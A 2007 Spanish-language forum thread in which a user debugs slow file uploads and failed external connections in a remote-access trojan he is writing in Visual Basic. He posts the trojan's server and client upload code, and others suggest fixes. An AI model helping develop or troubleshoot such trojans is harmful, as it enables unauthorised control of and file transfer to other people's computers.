elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  conexion lenta con el csocketmaster
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: conexion lenta con el csocketmaster  (Leído 2,233 veces)
wACtOr


Desconectado Desconectado

Mensajes: 461


Premio finalista diseño web elhacker.net


Ver Perfil
conexion lenta con el csocketmaster
« en: 26 Julio 2007, 14:03 pm »

wenas, aver os komento un pequeño problema que tengo. el server de mi troyano lo e hecho con el moculo csocketmaster, pero la conexion es lentisima. para subir un archivo de 145 kb en local tarda sin exagerar unos 2 minutos. queria saber si esto es normal, o se debe a un fallo en mi codigo.
gracaias

PD. para no empezar otro post me acabo de acordar de un problema con el troya. sin lo uso en red local, se conecta perfectamente, pero si conecta desde fuera del router no conecta bien. me explico:
cuando recibo una conexion, muestra un form a lo msn con el nombre del pc que se conecta y reproduce un sonido. si lo ejecito el LAN funciona a las 1000, exceptuando el problema de lentitud. si se lo mando a mi novia(que es la encargada de pruebas xD) solo me muestra el form y reproduce el sonido, pero no muestra nombre ni nda, con lo cual no puedo acer nada. digamos que solo recibe la conexion, pero no establece.

Alguna idea de por que puede ser?

Muchas thanks xD


« Última modificación: 26 Julio 2007, 14:07 pm por wACtOr » En línea

yovaninu


Desconectado Desconectado

Mensajes: 349



Ver Perfil
Re: conexion lenta con el csocketmaster
« Respuesta #1 en: 26 Julio 2007, 19:42 pm »

mis servidores estan con el csocketmaster y mi cliente con el winsock normal, no he tenido ningun problema por lo que puedo deducir que es tu código el que esta mal..., y dices que 2 minutos para un archivo de 150KB en red lan local?,  la misma cantidad desde afuera mi server me lo envia en segundos! asi que: definitivo es tu código!


En línea

Sancho.Mazorka


Desconectado Desconectado

Mensajes: 480


Gamer & Programador


Ver Perfil WWW
Re: conexion lenta con el csocketmaster
« Respuesta #2 en: 26 Julio 2007, 20:16 pm »

Es cierto el CSocketMaster tiene algunos bugs, si envias muchos comandos de flood con el cliente/servidor en la PC y los 2 usando el CSocketMaster uno de los 2 se termina bugueando, y con MSWINSCK.OCX no se buguea! Pero para que tarde 2min NUNCA!


Sancho.Mazorka    :¬¬
En línea

Ganador Xeon Web Server ! ! !    Sancho.Mazorka :D
http://foro.elhacker.net/index.php/topic,171903.75.html


wACtOr


Desconectado Desconectado

Mensajes: 461


Premio finalista diseño web elhacker.net


Ver Perfil
Re: conexion lenta con el csocketmaster
« Respuesta #3 en: 26 Julio 2007, 20:54 pm »

ok, tonces es problema de mi codigo. en el cliente si que uso el mswinsck.ocx. pue si, incluso indectandome a mi mismo tarda tanto tiempo.

el codigo de subir y bajar archivos es este:

en el server:
Código
  1. If Envio = True Then
  2.    Llegada = Llegada & data
  3.    If Len(Llegada) = lenFile Then
  4.        Open Dir1.Path & "\" & nombreRecibido For Binary As #1
  5.        Put #1, , Llegada
  6.        Close #1
  7.        Llegada = ""
  8.        Envio = False
  9.        ws.SendData "ok recibido"
  10.    End If
  11.    Exit Sub
  12. End If
  13. vData = Split(data, "|")
  14.  
  15. Select Case vData(0) 'Empezamos los casos
  16. Case "subir" 'Recibe nombre y tamaño del archivo
  17. lenFile = vData(1)
  18. nombreRecibido = vData(2)
  19. Envio = True
  20. data = ""
  21. ws.SendData "SendFile"
  22. Exit Sub
  23.  

y en el cliente:

Código
  1. Case "SendFile" 'Enviamos el archivo a subir
  2.    On Error Resume Next
  3.    Frm_File.pb.Value = 0
  4.  
  5.    vIndex = Split(Lv.SelectedItem.Key, "|")
  6.    Dim Send As String
  7.  
  8.    Open RutaSubida For Binary As #1
  9.    Dim Todo As String
  10.        Todo = Space(LOF(1))
  11.        Get #1, , Todo
  12.    Close #1
  13.  
  14.    Frm_File.pb.Max = Len(Todo)
  15.  
  16.    For o = 1 To Len(Todo) 'Leemos el archivo de 10 en 10 bit's
  17.        Dim Porciento As Integer 'Para que apareza el porcentaje de descarga
  18.        Porciento = o / Len(Todo) * 100
  19.        Frm_File.lblEstado.Caption = "Subido:" & Porciento & "%"
  20.        Parte = Mid(Todo, o, 10)
  21.        o = o + 9
  22.        Ws(vIndex(0)).SendData Parte 'Enviamos los 10 bit's
  23.        Frm_File.pb.Value = o  'Para hacer avanzar la barra de progreso
  24.        Sleep 1
  25.    Next o
  26.  
  27.  
  28. Case "ok recibido" 'Nos indica q el archivo a llegado
  29.    MsgBox "Archivo enviado correctamente.", vbOKOnly
  30.    Frm_File.lblEstado.Caption = ""
  31.    Frm_File.pb.Value = 0

Bien este es el code que uso para subir archivos. es = que el ejemplo que subio eon. lo e intentado adaptar a mi troya, que ma costao lo mio, pero al final funciona. Gracias EON, ue grande eres xD.

weno, a ver si alguien sabe por que el motivo de la lentitud., puede ser que envia de 10 en 10 bits? aunque me parece que es demasiado tiempo para tan poca cosa
Gracias
En línea

~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.981


Ver Perfil WWW
Re: conexion lenta con el csocketmaster
« Respuesta #4 en: 27 Julio 2007, 12:42 pm »

No es por los 10 bits, se ralentiza bastante por el progres bar, prueva a kitarselo y veras como te funciona mejor ;)
En línea

wACtOr


Desconectado Desconectado

Mensajes: 461


Premio finalista diseño web elhacker.net


Ver Perfil
Re: conexion lenta con el csocketmaster
« Respuesta #5 en: 27 Julio 2007, 14:29 pm »

pos nop, no es el pb lo e kitado y seguia tardando lo mismo. me ta volviendo loco -.-
En línea

~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.981


Ver Perfil WWW
Re: conexion lenta con el csocketmaster
« Respuesta #6 en: 27 Julio 2007, 16:36 pm »

Pues pensé q seria por eso, ya q el progress bar ralentiza un poco el proceso (tb hay q tener en cuenta q mi ordenador es realmente viejo..) pero vamos dos minutos no xD mirate las conexiones y prueva en otros pc's a ver si va a ser tu conexion o algo asi...
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
conexion muy lenta « 1 2 »
Redes
RedZer 10 6,930 Último mensaje 18 Agosto 2011, 07:40 am
por RedZer
vistumbler pone mi conexion lenta
Wireless en Windows
Farahon3 4 4,218 Último mensaje 3 Octubre 2011, 08:42 am
por Farahon3
Conexión a router se hace lenta
Redes
#Borracho.- 2 1,943 Último mensaje 19 Febrero 2013, 22:04 pm
por #Borracho.-
Problema CSocketMaster y multi-conexion
Programación Visual Basic
|SMT| 1 2,278 Último mensaje 5 Noviembre 2013, 15:37 pm
por MCKSys Argentina
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines